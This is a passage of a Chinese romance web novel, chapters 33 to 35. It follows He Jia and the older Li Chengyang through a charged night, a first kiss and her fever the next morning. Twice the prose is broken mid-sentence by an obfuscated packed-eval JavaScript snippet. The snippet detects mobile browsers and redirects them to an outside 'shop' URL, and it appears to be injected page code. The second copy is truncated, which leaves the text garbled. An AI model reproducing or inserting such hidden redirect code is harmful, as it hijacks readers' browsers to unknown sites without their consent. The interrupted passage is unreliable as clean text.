他的目光落在她的指尖,那片雪白触碰到他麦色的皮肤时对比明显。 “为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323132|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”他不紧不慢地开口。 何嘉支支吾吾地回答:“你……你忘了医生说什么了吗?不能喝……不能喝酒。” 他轻笑:“那为什么以后也不许喝?你为什么管我?” 为什么? 两人的视线交缠在一起,小姑娘的耳朵也开始发红。 “我才没有管你。我只是再提醒你一下,像你这种过敏的,就算不会死也会痴呆早衰。虽说不一定会痴呆吧,但是你本来就年纪大,谁知道再多喝点你身体会衰成什么样……” 李成杨嘴角僵住,有些生气:“你再说一遍?” “说就说。男人过了二十五就是六十五,你那身体还有衰的余地吗?” “呵。”他气得胸腔痉挛,“我衰不衰你知道?” “我知道。” “你没试怎么知道?” 何嘉把他一把推开,面色涨红地大叫:“李成杨你为老不尊!!!” 他勾唇,有意戏谑:“你不也目无尊长?” “我哪里目无尊长了??” “你随时随地都目无尊长。” 何嘉咬咬嘴唇,不甘示弱:“你知不知道什么叫‘目无尊长’?我告诉你,我目无尊长的功力还没有发挥十分之一呢!” “怎么?”他觉得好笑:“你还能怎么发挥?” “你过来点。”她朝他招手。 他走近一步。 “你再过来点。” 他又走近一步。 “你离我近一点,再低一下头。” 他有种不祥的预感,蓦地站在原地不动,面无表情地打量她。 他倒想看看她能把他怎么着。 小姑娘朝他邪魅眨眼,然后抓住他的衣服踮起脚尖,凑到他耳边笑笑。 吐了一口气,再悠悠地说:“成杨哥哥,你说的对,我总要试过了才知道你身体健不健康。” 男人喉头紧缩,眸子瞬间暗了不止一度。 他立马推开她,沉着嗓子训斥:“何嘉,你皮痒了是不是?!” “痒了啊?怎么?你要打我屁股吗?” “出去,我要炒菜了。”他指着门外,脸色黑得不像话。 “不要。你为什么要赶我走?” 他捏着她,将她狠狠往外推。 她得逞地笑了:“你怎么生气了啊?我说什么了吗?” “出去。” 他将玻璃门关上,一下子隔绝了她的声音。 切。 也没有多厉害嘛。 何嘉还站在那里挑衅他,他索性不看不听不想。 但某人悄然泛红的耳垂暴露了他内心的所思所想。 真是要命。 前后忙了一个多小时,李成杨神色不快地端了三盘菜出来。分别是小炒牛肉、回锅肉和土豆丝。 这三样菜和她才到饭店那晚一模一样。 何嘉说:“我不是说,要吃三月瓜、蘑菇、土豆吗?” 李成杨瞟她一眼,语气不耐:“这不是土豆?” “那三月瓜和蘑菇呢?” “没有。” “才不是,你肯定是故意不买的。” 他不想和她废话:“你又不是真的想吃,有必要浪费食材?” “你怎么知道我不是真的想吃?” “你想吃的都在桌子上了。” 她不解地看向这三盘菜,“你说是就是吗?” “是,我说是就是。” “好吧。”何嘉拿起筷子,“我还是很想吃的。” 第一次和他一起吃饭的时候,她就特别想吃这道小炒牛肉,只是当时他坐在她对面,让她吃的心惊胆战的。 不过现在就没有那个烦恼了,反正是李成杨做的,她负责吃就好。 夹了一筷子牛肉,全部塞在嘴里,味道真不错。牛肉炒得很嫩,辣椒和芹菜的放量也恰到好处。 再看看土豆丝和回锅肉,色泽鲜美,香气扑鼻。 “你可以当田螺先生了。”何嘉一边吃一边称赞他,“你做的饭还是很好吃的。” 李成杨用手撑着脑袋,催促她:“你话太多,快点吃,吃完洗澡,然后直接睡觉。” “吃完才七点,也太早了吧?我还想看电视呢。” “你有意见?你有意见就出去。” 她又夹了一口菜,脸颊鼓鼓的,像只仓鼠一样跟他讲话:“也不是不可以,只是……只是我没有睡衣,你可以借我一套吗?” “嗯。”他盯着她的脸,视线瞥到她嘴角:“等会儿给你找。” 33. 第33章 吃完饭后,李成杨从衣柜里给她找了件毛衣和长裤,递到她手边:“你穿这个睡。” 何嘉抗议:“睡觉穿毛衣会扎到皮肤,我不想要这个。” 他冷笑一声:“你不要这个就别穿。” “不可以换一件吗?” “不可以。” “为什么?你肯定还有别的衣服。” “嗯,但是我不想再找。” 她瘪嘴:“你再找一个,你不是那么懒的人。” 他不:“我就是那么懒的人。你如果不嫌麻烦就自己去我衣柜里找。” “我才不要翻你衣柜。”她接过衣服,气鼓鼓地走向洗手间。 里面的陈设和这套房间的风格完全一致,除了必要的设施,没有一件多余的物品。 打开淋浴,热水一下倾斜而落。 何嘉脱掉衣物,站在镜子前观察自己身体。女孩的躯体柔软,已经褪去青涩,有了成熟的风韵,举手投足间满是生命力。 她点了点头,很满意自己。 只是不知道怎么,突然想到某人的脸,还有他炽热的手掌。他的温度总是那样灼人,指尖带着一层薄茧,每次触碰的时候总让她觉得很痒。 可是如果,可能的话。 她有点好奇,那点粗糙落在自己身上的话,会是什么感觉? 救命。 她冲进淋浴,任由热水冲散她不合时宜的幻想。 匆匆拿起沐浴露,看到上面写着“拿铁咖啡”的字样,原来还真的有咖啡香型的沐浴露。 这就是他身上的味道,只要她一靠近,就能闻到的那个咖啡香气。 何嘉怀疑自己有点缺氧,要不然她的心脏怎么会一直怦怦直跳? 她加快手上的动作,觉得自己不能再多呆一秒。 淋浴声停,她伸手去翻干净的衣物,发现李成杨根本没有给他拿浴巾。 那怎么办? 她视线落到镜子旁的架子上,那里有一根浅蓝色的浴巾,一看就是他的。 哼。 她想到他刚才教训她的模样,一把抓过浴巾,在身上来来回回好几下,直到没有一点水珠才停下。 洗手台散落几样东西,全是她今天穿过的衣服,还有一件带着蓝色碎花的布料。 她不怀好意地弯了弯唇,然后将浴巾随意扔在那堆衣服上,走了。 李成杨坐在沙发上玩手机,看她出来之后随意问了句:“衣服合身吗?” 何嘉没好气:“你可以抬起头看看我。” 他只看了一眼。 他那件浅灰色的毛衣松松垮垮,就跟挂在她身上一样。裤子更是别说,长得直接可以拖地,她潦草挽了几下不至于摔倒。 “合身就行。”睁眼说瞎话。 何嘉绕过他,坐在旁边的沙发上。 他没有和她聊天的意思,回卧室拿了一套衣服走向洗手间。 “你要洗澡吗?”她问他。 “嗯。” “可是你腿上的伤还没好呀,医生让你这几天不要洗澡。” “不碰水就好了。” “你怎么不碰水?难道洗澡的时候要抬起一只腿吗?” 李成杨无语:“我难道不可以包一层保鲜膜吗?” “哦,那你洗吧,别洗到伤口,感染死了就行。” 他不理她。 李成杨刚走进洗手间就看到一堆衣服,不但有一堆衣服,衣服上面还盖着他的浴巾。这片狼籍的罪魁祸首是谁,不言而喻。 但他没有生气,只是沉默地将浴巾移开。 一件碎花内衣赤裸裸地躺在他眼前。 他太阳穴一跳,沉重地叹了口气。 又要折磨他,无时无刻都要折磨他。以前怎么不知道,这只小蜜獾满肚子坏水,一刻也不能让他安宁。 他盯着那件布料,记起他回错地方的那一晚,她好像也穿了件碎花的睡衣。看来她很喜欢碎花的东西。 只是他从来不知道,他也喜欢。 指尖轻触到那片柔软,他将她的衣服全都放到旁边的置物架。 一种异样的冲动蚕食他的大脑,让他整个人都呼吸不畅。 他喉结滚动两下,心脏不受控制地颤抖。 刹那间,她的声音又在他耳边环绕,就像她刚才对他说,她总要试了才知道他身体健不健康。 健不健康? 他向下一看,健康异常。 何嘉在外边听见水声淋漓,半个多小时过去了,某人还没出来。 难道是洗到伤口了? 她从沙发上爬起来,不声不响地走到浴室门口。 磨砂的玻璃门根本看不清里面的动静,她有些着急地朝里问道:“李成杨,你怎么还没出来?是洗到伤口了吗?” 里面没人回答。 她又问:“李成杨?你有没有事呀?” 还是没人回答,难道他晕倒了? “李成杨?”何嘉用力地敲门:“你还好吗?你晕倒了吗?你需要我进来吗?” “……我没事。”男人的声音传来,十分低沉。 她不相信:“你真的没事吗?都说了不要你洗澡了,你偏要洗,万一出事了怎么办?” 他只说:“往后退,退到沙发那边去。” “你真没事?”她隔着门往里瞧。 “往后退!快点!” 他吼她?他竟然吼她? 何嘉委屈巴巴地说:“你为什么要凶我?我只是怕你有事。” 他顿了顿,声音沙哑:“何嘉,我没事,你先离我远点,去沙发那边玩好吗?” “好吧。”她走了。 何嘉不明所以地坐回沙发,他刚才怎么奇奇怪怪的? 而且,他刚才没回应的时候,她好像隐隐约约听到了一种类似于喘息的声音? ? 嗯?难道是? ???! 她想到什么,难以置信地将小脸埋进抱枕。那可是李成杨,他他他怎么会?? 那她刚才还一直在门口问来问去,羞都羞死了! 小姑娘丢开抱枕,面色绯红地冲进卧室,将外面的一切全部隔断。 要死掉了。 她在床上打了几个滚,精神亢奋得不正常。那可是李成杨啊!李成杨,李成杨…… 李成杨难道很正经吗? 想到这个问题,她坐在床上愣住。 他这个人看上去一本正经,其实才不是这样。吃饭之前不是还对她说过那样的话吗?他就是假正经,实实在在的为老不尊! 那,他既然做了那样的事情,肯定是因为她吧?他对她,是有感觉的吧? 何嘉又从床上起来,支了个头打探外面的情况。 李成杨正好从浴室出来,经过她的时候神情冷漠。 “你……”她想说什么。 他直接走过,看都没看她一眼。 她跟在他身后:“你还好吗?” 他将换洗的衣服丢在洗衣篮里,又倒了杯水,“什么还好?” “你在里面……” “我很好。” 何嘉还想问,但他走到客厅开始擦头发,肩上的浴巾是她刚刚用过的那个。 她盯着他不说话,他看了她一眼也不说话,两个人就这么站着。 或许是她的目光存在感太强,他咳了一声说:“我只有一条浴巾。” “噢。”她意味深长。 “所以我只能用这个。”不知道刻意解释一句做什么。 “嗯。” 空气又陷入沉默。 他擦好头发,指了指墙上的时钟。 “已经过了八点了,你可以睡觉了。” 何嘉这次很听话,真的回到卧室躺着,走之前什么也没说。 她脑子乱糟糟的,全是李成杨跟她说话的神情。 睡觉,睡觉,赶快睡觉。 她紧闭双眼,试图将他赶出大脑。 可房门突然传来几声“咚咚”的敲门声。她的心脏一下子悬到嗓子眼,盯着房门默不作声。 “我进来了。”李成杨的声音近在咫尺。 何嘉慌张地看他推门而入,声音忐忑:“你,你,你进来干嘛……?” 李成杨没回答,反而打开床边的衣柜,拿了一床被子出来,然后走到何嘉面前。 语调似笑非笑:“你觉得呢?” 何嘉瞪大双眼,下意识攥紧被子,“你难道,难道也要睡这里?” 他低头看她,挑了挑眉:“我?我当然——” 小姑娘面色凝固,瞪着他的时候更多的是惶恐。不会吧,不会吧。 看她这么惊慌的样子,李成杨一下就觉得心情舒畅,没忍住沉沉地笑了起来,两个酒窝在她面前晃来晃去。 “我当然要睡沙发。不然你以为呢?” 何嘉用舌头抵了抵牙齿,伸脚在他腿上重重一踢。 “李、成、杨、你、完、了。” 他吃痛,但毫不在意:“嗯,我完了。” “我要睡觉了,你快点走!” 他点头,带着被子悠闲离去。 何嘉在床上扑腾两下,心里的火越烧越旺。这个李成杨,怎么可以那么讨厌? 长舒一口气,她告诉自己别气,再等等,等到他睡着了再报复回去。 可她躺下的时候不过晚上八点多,距离他睡觉的时间还早。 她默念:“天将降大任于斯人也,必先苦其心志,劳其筋骨。” 大不了就硬等,反正她今天绝对不能让他好过。 怀着这样的毅力,她一直在床上等了好几个小时,直到客厅关灯后又过了一个小时,她摸出手机看了眼时间,已经十二点多了。 掀开棉被,拖鞋在地上发出细微的摩擦声。从卧室到客厅不过几步之遥。 何嘉在黑暗之中看见沙发上有一个黑影,若是仔细去听,还能听见他的呼吸声。 那就是李成杨。 小姑娘朝沙发悄悄靠近,在距离他一步之遥的地方停下,而后蹲在那里,大气也不敢出。 路灯的光线洒在室内,模模糊糊却不至于看不清楚。 她垂眼去瞧他的表情,果真如她刚才猜想的一模一样。没有任何神情,就只是睡着了。相应的是,没有任何防备,就这么睡着了。 叫你欺负我。何嘉戳了戳他的脸,男人没有反应。 她又捏了捏他的鼻尖,还是没有反应。 睡那么熟,小心我把你卖掉。 何嘉自顾自在心里骂了好一会儿,觉得没意思,反而开始端详他的五官。 他的睫毛很长,和他突出的眉骨相得益彰,眼睛往下是挺拔的鼻梁,让她不由得伸手摸了摸,再往下视线突然落在他的嘴唇上。 看上去质感柔软,和他的人一样标志,并非是长得清秀,而是那种让人看上去就印象深刻的正统。 还有他嘴角的那颗小痣,是浅棕色的,只有凑近的时候才能看得清楚。 她上次,也像今天这样蹲在他身边偷看他。 他的嘴唇对她来说总是有着极强的吸引力。让她就这么傻傻地凝视。 心口一阵酥痒发麻,她身体里的蝴蝶又开始颤动。 她还是,很喜欢他。 没有什么理由,就只是喜欢。 她曾想过,这世上是否有某种研究能证明,一个人的基因天生就能和另一个人互补,所以当他只是站在那里,就让她无法自拔。< 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她舔了舔嘴唇,眼神钉在他的唇瓣,直勾勾地吻了下去。 柔软,还是柔软。 他的嘴唇又软又烫,就像棉花糖一样甜蜜。 她忍不住用舌头舔一舔,脑海里只有一个想法,撕碎他,再吃掉他。 但她舍不得,于是放缓速度在他唇上轻啄,一下,又一下,温柔地拥有他。 他的呼吸打在她的鼻尖上,好痒,好想挠一挠。 “李成杨?”她在他耳边呼唤他,声音发软。 他的呼吸变重了一些,但还是没有醒来。 怎么回事? 小姑娘又凑过去吻了吻他的脸颊,然后轻轻舔舐他的嘴角。 “那你别怪我噢,你不会生气吧?” 她呢喃一句,俯身咬住他的嘴唇,贪婪地吮吸几秒,直到他的唇上留下暧昧的水光。 “你今天怎么睡这么熟?” 她不解地望着他,将手心慢慢移开。 他的眉毛细微皱起,但她没有仔细去看,反而坐在地毯上数落他:“李成杨你可真讨厌,你就知道欺负我,对我忽冷忽热的。我才不会依赖你,我才不需要你照顾,你明明什么都不知道,你讨厌死了。” 说了几句,何嘉觉得口干舌燥,对着一个睡死的人骂也没意思。 还不如回忆一下刚才的感受。 他的嘴唇真软呀,让人忍不住傻笑。 何嘉忽然转头看向窗外,路灯很近,黑漆漆的天似乎正飘着什么东西。 看得出来很轻,比棉絮小,白得亮晶晶,被风一吹就掉落得更快了。 她仔细去瞧,有些不敢相信,但很快就接受了,那竟然是雪。 余川下雪了。 在她的记忆里余川是不下雪的。 来这边读大学之后也没听本地人说这里的冬天会下雪。她是向来喜欢雪的,南方的孩子没有人不喜欢雪。 安城从前也没下过雪,所以今晚算是她这辈子头一次亲眼看见雪的样子。 轻飘飘,软绵绵,真想伸手去摸一摸。 多好啊,真是个值得庆祝的夜晚。 闯了件天大的祸事还没被发现,随便往外一瞧还见到了雪的模样。 她默默笑了,都数不清是今晚的第几个笑容。 但是不巧,当她还沉浸在喜悦之中的时候,身后的男人倏然睁眼,视线在她背影游走一圈。 小姑娘不知道在那儿高兴什么,完全没感觉到背后的杀气。 他轻嗤一声,黑着脸开口—— “何嘉。” “谁准你亲我的?” 何嘉吓得全身一抖,在惊诧中对上他的目光,只思考了半秒,她决定破罐子破摔:“就是,就是我自己允许的?” “你再说一遍?”他怀疑自己听错了。 她支吾着回答:“我自己…我自己允许的。” “……” 他嘴唇紧抿,让她不敢再说话,场面突然静默下来。 何嘉盯着他,脑子里全是“他什么时候醒来的?他刚才是不是全听到了?” 李成杨却觉得她那张小脸上完全是不知悔改的模样,一下子气得想笑。 “你给我个解释。” 何嘉装作不明白:“解释什么?” “你说呢?” “你真的要听我解释吗?” “何嘉。”不知道这是他今天第几次叫她的名字,言语间是警告的意思。 她突然就不敢再放肆了,低着头一股脑儿回答:“你刚刚问我谁允许的,我回答了的,那个……就是我自己允许的。嗯…但是也有另一种解释,如果我说…我刚刚是在梦游,你信吗?” “……”他被她噎得说不出话来,落在她脸上的眼神越发幽暗。 这只蜜獾,为什么总想挑战他的耐力?为什么总是那么直白地做出冲动的事情?为什么完全不懂得保护自己? 甚至为什么在做出这样不合适的举动后,还能昂着头说出这种答案? 他怎么不知道答案,他怎么会看不懂她的心思。正是因为他一下子就有答案了,所以突然不知道该怎么面对她。 是的,是他先不知道怎么面对她。 他觉得头痛,太阳穴也痛,连胸口都气痛了。明明想要教训她几句,但又发现她从刚才到现在都没穿外套。 那么冷的天,不穿外套就到处跑。 教训的话到嘴边也就咽下去了,措辞一转变成毫无威慑力的一句:“回去睡觉。” 她却盯着他的眼睛,小声抗议:“我不想。” 34. 第34章 李成杨忍着心里那团火气,问她:“你知不知道自己在做什么?” 何嘉乖乖点头:“知道。” 他不可置信:“那你还做?” “我想。” “你想你就做?”他觉得自己快被她气吐血了。 “我早就想了,”她慢吞吞回答,抬起眼睛对上他的视线,“你一直知道的……” 他咬着牙问她:“我知道什么?嗯?你说我知道什么?你是不是想挨骂?” 她却不认同,心里那点逆反的情绪涌上来,表情和他一样窝火:“你为什么总想教训我?我知道我自己在做什么,我不像你那么口是心非,明明自己也很想,偏要装着样子教育我。” “我口是心非?” “你不想吗?”她立刻从地上站起来,居高临下地盯着他。 李成杨抬头看她,觉得荒谬:“我想?” “不是吗?不然你怎么知道我亲你了?你刚才明明醒了吧?但是你根本没有制止我。成、杨、叔、叔,你怎么好意思说我?你心里想什么我早就知道了。” 一连串的问句,连大气都不喘一下,还刚好戳他痛处,一点问题都没有。 如果他真的没有私心的话,就该在她第二次亲他的时候制止她。 可他卑鄙的是,早在她靠近的时候就醒了,却躺在那里假寐,别人听了不知道怎么想,反正他是突然哑口无言,憋了半天出来一句:“我想什么?嗯?你说说我想什么?” “你明明也想亲我,你早上来二楼找我的时候就想亲我了,你别以为我不知道,你明明也……” “也什么?” 也喜欢我。 这后半句话何嘉说不出来。 一是刚才说激动了嘴巴把不住门,二是她好像也没有那么自信,面对他的忽冷忽热,她真的不确定他心里到底怎么想的。 那干脆就当自己刚才没说过后面半句,直接绕回主题:“反正你就是也想亲我。” 李成杨不松口:“你还挺敢说。” 她故意朝他靠近一步,带着咄咄逼人的尾音:“那你看着我。你看着我的眼睛,你敢说你不想吗?你敢说你刚才清清白白的没有一点私心吗?” 他不服输,仰头和她对上视线,试图让自己看上去正大光明。 她一双眼睛清亮,没有一丝浑浊,完完全全诚实,谁能透过这双眼睛看到她内心最真实的想法。 不像他,空有了十年的阅历,活成畏畏缩缩的模样,不敢说也不敢做,面对什么都不诚实,最后还想连自己都骗了。 越是卑鄙越恼羞成怒,连自己也知道在气什么。根本就不是气她,是在气自己,一点明白的事搞成这样,心里窝着火还想教训人家。 何嘉在等,等他说点什么。她知道自己把他说得很全面,但他只是仰着头看她,也不说话。 “你说啊?”她忍不住催促。 “你要我说什么?” “你现在就看着我说你一点都不想。” 他偏不说,心里的火烧的更猛,不知道是出于一种什么目的,还是不愿意甘拜下风,他突然冷笑一下,大掌抓住何嘉的手臂。 “啊——”何嘉忍不住尖叫。 一股力量把她往前猛带朝他贴近,他完全不躲,看着她往自己身上砸。 无处可去,她只能顺势往他身上跌,都不知道把手往哪儿放,只好搂着他的脖子,热气一瞬间呼在他脸上。 人还没坐稳,她就听他拖着尾音说了一句:“我想?你知道什么叫我想?” 她这算是明白了,这人还憋着一口气想吓唬自己,那她也偏不如他的意。 这次可是他主动的,那就别怪她过分了。 “喂,成杨叔叔,你知不知道自己在做什么?” 他哑然,想起自己刚才也这么问过她。 她没有耐心:“你怎么不回答?是你自己不回答的。”那就不能算是她的错了。 话音一落,何嘉立马铆足力气,一口咬在他脖子上。语气不算狠,但牙齿却很尖利。 柔软的嘴唇和他的皮肤紧紧相贴,让他感觉全身的细胞都沸腾起来,但那两排牙齿一点情面都不留,咬得他闷哼一声,痛意席卷整个神经。 他觉得自己的皮肤下有好几根银针在扎,又痛又酸,可是他却隐约不想让她结束。 是痛觉,更是一种说不清楚的舒适。他很迷恋这个感觉。 何嘉正好一心要咬疼他,再次加重了力道。 她就是要他痛,最好痛得忘不了她。 谁让他想凶她还想教训她? “嘶——”他痛得倒吸一口冷气,这才沉着声音喊了一句:“何嘉。” 何嘉根本不理他,忍不住低头去看自己的杰作。两排鲜红的牙印躺在他麦色的皮肤上,就算是远远一瞧也看得明显。 她突然就觉得咬着也没什么意思,念头一转,心底那个名叫“贪婪”的小人又出来了。 不够。 还不够。 她的目光只在牙印上停留了一秒便再次低头咬了上去,只是这次不只是咬一咬,而是揪着那块皮肤狠狠吮吸了一口。 两片温热相触,点燃空气里所有干燥的尘埃。 李成杨感觉自己头皮发麻,全身的神经都在颤栗,更不妙的是有一种罪孽的冲动立马攀上了他的小腹。 他的呼吸变得急促起来,胸膛也剧烈起伏,可是他根本看不见自己的脖颈,无法得知那里是什么战况。 他有些着急,更多的是一种原始的欲望,这种感觉让他脑子雾蒙蒙的,就像失去理智的前奏。 他想要更多。 “何嘉。” 男人的声音变得更沉,吐字间多了一丝压抑,那是他对她的最后一次警告。 “痛不痛?痛死你最好。”小姑娘坐在他怀里不知道跑,嘴巴还一张一合,勾得他眼神飘忽。 温暖的鼻息打在他的嘴角,他脑子里顿时炸出好几个烟花,不是五彩斑斓,而是鲜艳的红色。 欲望和罪孽。 他再也按耐不住心头的悸动,猛然掐住她的后腰,将她整个人往自己身上压,另一只手不忘按住她的脖子,让她完全动弹不得。 一软一硬,两人的胸膛紧贴。 她感受到他的胸肌健硕,有些走神地想:他的胸为什么那么大? 哪有时间去想这些? 还没等她反应过来,他的吻就已经落下。 杀伐果断,没有一丝生还的可能。 两人的唇瓣紧密交缠,没有一丝空隙,他要咬住她嘴唇的每个角落,要她痛也要她愉悦。 她嘴里的每一丝氧气都被他完全攫取,就快要不能呼吸。而他清楚地洞悉这一切,却完全不打算放过她。 他莫名想起一句:放火烧山,牢底坐穿。 不合时宜的比喻,却很贴切。 他就是她的那座山,此刻为她叫嚣、哗然,像火焰一样焚了荒原。 是她放的火,就要她全盘负责。 唇齿相融,他恨不得吸干她口中的所有水分,再连着她的馨香一起吞咽下肚。 直到她真的红着脸喘不过气,才贴着她的耳朵说:“这才叫我想。” 她却没了刚才的焰气,迷蒙地看着他的眼睛,眼神里多了一层雾气。 “李成杨。”她这么叫了他一句,连名带姓,不再是刚才的“成杨叔叔”。 就这么简单的一句,没有太多情绪,只是想叫叫他。他却像被触碰到什么开关似的,心里的火溢出来烫得自己浑身难受。 她一手插进他的短发,一手按在他的胸膛上,手感真好,又软又硬,让她吸氧的时候不忘对他使坏。 她就要摸就要掐,要在他身上不断游走处处点火。 他也很上道,红着眼睛再次咬上她的嘴唇,彼此呼吸交缠。 她不知道从哪里无师自通,很自然地打开牙关,主动去寻他的舌头,试着和他勾吻。 窗外的世界白茫茫,小雪下得大了,停留在树梢上一捧一捧,室内无人在意,只晓得互相纠缠,惹火烧身。 女孩身上的香味一阵一阵飘到他心里,他的手忍不住在她腰间流连。 恰好她只穿着他给的毛衣,只需要稍微用力,他就能将她整个身形勾勒出来,一只手就能握住大半。 他的手掌摩擦到她的背脊,指尖察觉异样。 “怎么还没穿?” “什么没穿?” “碎花。” 他又摩擦两下。 何嘉看着他的眼睛,神色呆滞,整个人都沉溺在他的温度里,脑子迷迷糊糊的。 “睡觉的时候都不穿,而且,我,我留给你了呀。” “什么?” 李成杨难以置信,原来她真是故意的。 “就是,我洗完澡之后,就放在洗手池里了。” 他舔舔下唇,低笑。 “嗯,你厉害。” 说罢,又吻了上去。 渐渐空气中出来了一点甘甜的气息,他怀疑那本来就是她身上的味道,叫他不依不饶、至死方休。 她不知道人和人之间竟然可以如此亲密,刚想后退,他却立马去追,还不忘调侃她一句:“这才叫亲嘴。” 何嘉脑子晕晕的,根本没反应过来他在说什么,只是抓着他的衣领不松手。 那么他只管默认,什么也不想,就只想顶开她的牙关。何嘉感觉他的舌头好烫,让她全身都颤抖起来。 她想推开他换气,他却依旧按着她的脖子不准她动。他的力气越来越重,一心要箍紧她深吻,侵占她每座城池,攻陷她最深处的柔软。 何嘉的体力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李成杨立马按住她的手,语气算不上耐心:“你往哪儿摸?” 她无比诚实:“就那里。” “你想死是不是?” “不行吗?” 听她这么说,他那股怒意又来了:“你到底在想什么?这就是你想要的吗?” 何嘉被刺了一下,立马清醒:“这不是你想要的吗?” 说罢,她坐在他身上狠狠一压,他那处早就经受不住这样的动作。 李成杨冷哼一声,一阵强烈的快意涌上背脊,他脑子里闪现过好几个声音:占有她,撕碎她,毁灭她。 但是不对,不可以。 最后一丝理智告诉他,这一切都不对。 他只能忍,忍得太阳穴突突地疼,感觉自己的头都要炸了。 何嘉将他皱眉的样子尽收眼底,得逞似的问他:“是谁想?不是你想吗?” 他说不出话,紧紧捏住她的双臂禁止她再乱动,冷静了好几秒才开口: “你先别闹。先回去穿外套,我们好好谈谈。” 她脸色突然变冷,整个人从他身上撤下来。不过离他两步开外的位置,能清楚地听见他说什么,却一点都不想听他的话。 “谈谈?你想跟我谈什么?你又要教训我了?你别在那儿伟光正了,你就是个撒谎精!就你最高尚,都是我主动的。李成杨你真的贱死了。 你不知道我喜欢你吗?你知道呀,你一早就知道了,但你就是对我忽冷忽热,你要一边享受我对你的好,一边又怕自己付不起责,你怎么能这样? 亏我今天在医院那么担心你,我还一直很自责,如果不是因为我,你根本不会受伤,可是全都白心疼了!你看你,明明身体特别诚实,但是你心思好精明,就对我一个人算计!” 一字一句,完全不差。他被她的话呛得一时间说不上话。 今天就算是她先挑头,但他明明有机会拒绝,明知不可为而为之,反倒对她倒打一耙。 李成杨你还是人吗? 退一万步,就算小姑娘拿捏不好分寸,他一个出身社会这么多年的人还能不明白吗? 不但放纵她,还在上面火上浇油,刹不住脚了才来想办法,根本不叫做悬崖勒马。 “何嘉——” 他知道自己应该叫住她说些什么,但她没给他机会。 何嘉走得果断,一转身留下冷风阵阵,树梢的雪落下一捧砸在他心房。 这是他乱了阵脚。 “啪嗒。”那间本属于他的卧室被关上,同时隔绝的还有他们心的距离。 他无言,长久静默之后,竟然再也闻不到属于她的香味。 他心里空落落的,就算躺回沙发脑子也乱七八糟。试着用右手挡在双眼上并不能理清思想,反而加深了那种说不出的惆怅。 过了好久之后,世界静得没有声音,他突然自嘲般地笑了:“李成杨啊李成杨,是你才对……你知不知道自己在做什么?” 35. 第35章 一夜无眠,李成杨哪里睡得着。 何嘉说的那些话全都刺在他心上,让他心里发酸。 更让他无法睡去的另一种情绪是羞愧。他无法真的看着她的眼睛,说他真的对她一点想法也没有。 他的私心太明显了。既不能强硬地推开她,也说不出要靠近的话,就这么在二者之中保持沉默,是最下作的。 沉默就是伤害本身,他将这一点练得炉火纯青。 时间渐渐流逝,他的大脑越发清晰,摸出手机一看,已经是早上八点多了。 反正也睡不着,不如直接起床。 等他路过窗边的时候才看见树上挂着雪粒。余川已经很多年没有下过雪了。反正从他有记忆开始,就零星下过几场雪,后来全球气候变暖,就再也不下了。 不过他只看了几眼便略过,直接走进洗手间。 一捧凉水浸在他脸上,让他打了个激灵,随意搓洗之后他朝镜子看了一眼。 男人的五官锋利,眼神清明不少,整个人看上去带着一丝冷气,却并不让人害怕。 目光落在脖子上,那里果然多了个显眼的牙印,还有一颗红痕覆在上面,看上去放荡又色.情。 他一下子就想起何嘉湿润的嘴唇是如何和他紧紧相贴,还有她柔软的身躯是多么美好。 “操。”这是他最近头一次爆粗。 还是人吗?都什么时候了还想这些? 再捧一把冷水,彻底覆灭那些罪恶的念头。 从洗手间出来的时候他已经平复好心情,不知道何嘉起床没有,决定先敲敲门。 “何嘉,早饭有没有什么想吃的?” 他在主动示好,但是并不凑效,屋里的姑娘一个字也没说。 他猜她应该还没醒,那就先随便做点什么再叫她好了。 冰箱里还剩青菜和瘦肉,正好可以做青菜瘦肉粥。方法并不复杂,大概半个小时就好。 摆钟指向九点的时候他乘了两碗粥出来放好,又走到何嘉门前敲门。 “何嘉,吃早饭了。” 还是没人理。 难道是还在生气不想理他? 再敲一次。 这次他放软声音:“起床了吗?醒了的话就出来吃早饭吧。” 里面一点动静也没有。 他不再敲门,继续好声好气地说:“昨天的事我确实有问题,我们等下好好聊一聊。现在先出来把饭吃了好吗?等会儿冷了。” 场面安静几秒,一个微弱的声音终于从里面传来:“你直接进来,没锁门……” 这语气听着有气无力,带着一点鼻音,黏黏糊糊不太清楚。 李成杨推开房门,看见小姑娘躺在床上面色潮红。 “怎么了?” 她的呼吸很重:“可能是发烧了,有点不舒服。” “什么时候开始烧的?” “不清楚。” 他伸手去摸她的额头,指尖一阵烫意,几缕头发早就被汗水浸湿,杂乱无章地贴在她的脸上,看上去像只受伤的鹦鹉。 他猛然想起她昨晚没穿外套就跑出来,还被他纠缠那么久,只觉得自己的良心受到了巨大的谴责。 “昨天是我的问题。”这话是真心的,不管是哪方面他都问心有愧。 她却眼睛一闭,眉毛皱起来:“我不想听。昨天你发烧害我在医院跑上跑下,今天又害我发烧,你真的讨厌死了。” 李成杨果然不再说话,突然转头朝外走去。 客厅常年摆着一个药箱,他挑拣了几样最要紧的东西又折返回她床边。 李成杨捏着温度计问她:“能不能自己量体温?” 她没睁眼,不理他。 他不用她回答,直接扯开她的毛衣,将那只温度计迅速塞到她的胳肢窝下,全程没有碰到一点不该碰的地方。 “哼。”她对他生硬的动作十分不满意,“你能不能轻一点?我是病人。” 他看她一副小可怜的模样瞬间没了脾气,将就她说:“知道了。” 何嘉不再去看他,直接闭上眼睛忽视他的存在。 其实她现在有点儿尴尬,只要一看到他,她就立马想起昨天晚上他们做了什么见不得人的事情。 虽然她告诉自己这没什么,不就是亲个嘴吗?但是她好歹也是个年轻的姑娘,怎么可能真的不在意。 李成杨知道她应该还在为昨天的事闹别扭,故意坐在窗边的书桌旁,跟她留足了间隙。 